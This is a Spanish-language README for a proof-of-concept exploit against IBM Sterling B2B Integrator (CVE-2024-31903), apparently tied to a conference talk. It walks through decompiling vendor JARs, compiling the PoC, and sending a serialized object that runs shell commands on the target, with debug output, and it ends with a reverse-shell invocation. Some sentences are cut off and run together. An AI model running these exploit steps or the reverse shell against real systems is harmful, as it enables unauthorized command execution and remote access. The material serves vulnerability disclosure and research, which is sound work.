
Código PoC para los ataques LPE y RCE (CVE-2024-31903) contra IBM Sterling B2B Integrator
Código de prueba de concepto para la explotación de las vulnerabilidades descubiertas en IBM Sterling B2B Integrator, versiones 6.2.0.0 a 6.2.0.2, y 6.0.0.0 a 6.1.2.5 para sistemas Linux, Windows y AIX:
Más detalles sobre estos problemas se pueden encontrar en mi charla de DistricCon "To B or not 2B: Breaking the IBM B2B Integrator with, and without authentication":
https://www.districtcon.org/bios-and-talks-2025/to-b-or-not-to-b
La mayor parte del código en este repositorio se refiere al ataque de inyección de comandos LPE.
El cliente binario Python bin_client.py puede utilizarse para enviar mensajes manualmente a CLA2, permitiendo la explotación de la vulnerabilidad RCE por deserialización.
$ java Main
$ Usage: Main <cmdLine> <outfile_or_SEND> [host] [port]
El PoC acepta dos parámetros:
bin_client.py, o la cadena "SEND" para enviarlo inmediatamente a host:puerto donde un cliente CLA2 esté escuchandoEl código fuente incluido en este repositorio está deliberadamente incompleto, ya que se requieren ciertas clases del subsistema CLA2. Dependiendo de los permisos del sistema de archivos del directorio de instalación, es posible que puedas acceder a los archivos JAR
Suponiendo que has recuperado los archivos relevantes de la descompilación del JAR. No se subirán aquí ya que constituyen propiedad intelectual de IBM.
Descompila CLA2Client.jar
En el código descompilado, localiza los archivos CmdLine2Result.java y CmdLine2Parms.java
Cópialos y pégalos junto a Main.java para replicar la estructura de directorios del paquete Java de la aplicación original
/src/com/sterlingcommerce/woodstock/services/cmdline2/
${B2BHOME}/INSTALL/jdk/bin/javac src/com/sterlingcommerce/woodstock/services/cmdline2/*.java
${B2BHOME}/appl/SFG/INSTALL/jdk/bin/java -classpath src/ com.sterlingcommerce.woodstock.services.cmdline2.Main '/bin/sh -c "id > /tmp/result"' SEND 127.0.0.1 5052
[+] Creating object...
[+] Sending object to 127.0.0.1:5052...
[+] ...Sent!
[+] Receiving header...
[+] ...header received: RESULT
[+] Receiving result...
[+] Result received:
##[DEBUG]## CmdLine2Result:
fileSize=0
outputNameLong=null
outputNameShort=null
******* end of CmdLine2Result *******
[+] clr.statusRpt: null
[+] clr.exceptionString: null
[+] clr.somethingToLog: CmdLine2Thread.runCommand: cmdLine before execution=/bin/sh -c "id > /tmp/result"
##[REMOTE DEBUG]## parm0=/bin/sh
##[REMOTE DEBUG]## parm1=-c
##[REMOTE DEBUG]## parm2=id > /tmp/result
revshell.py y revshell_listener.py al sistema objetivo, e inicia el listener. Luego, reemplaza el parámetro de comando del PoC con una invocación del script de reverse shell como se muestra a continuación:${B2BHOME}/INSTALL/jdk/bin/java -classpath src/ com.sterlingcommerce.woodstock.services.cmdline2.Main 'python3 /tmp/revshell.py 9090' SEND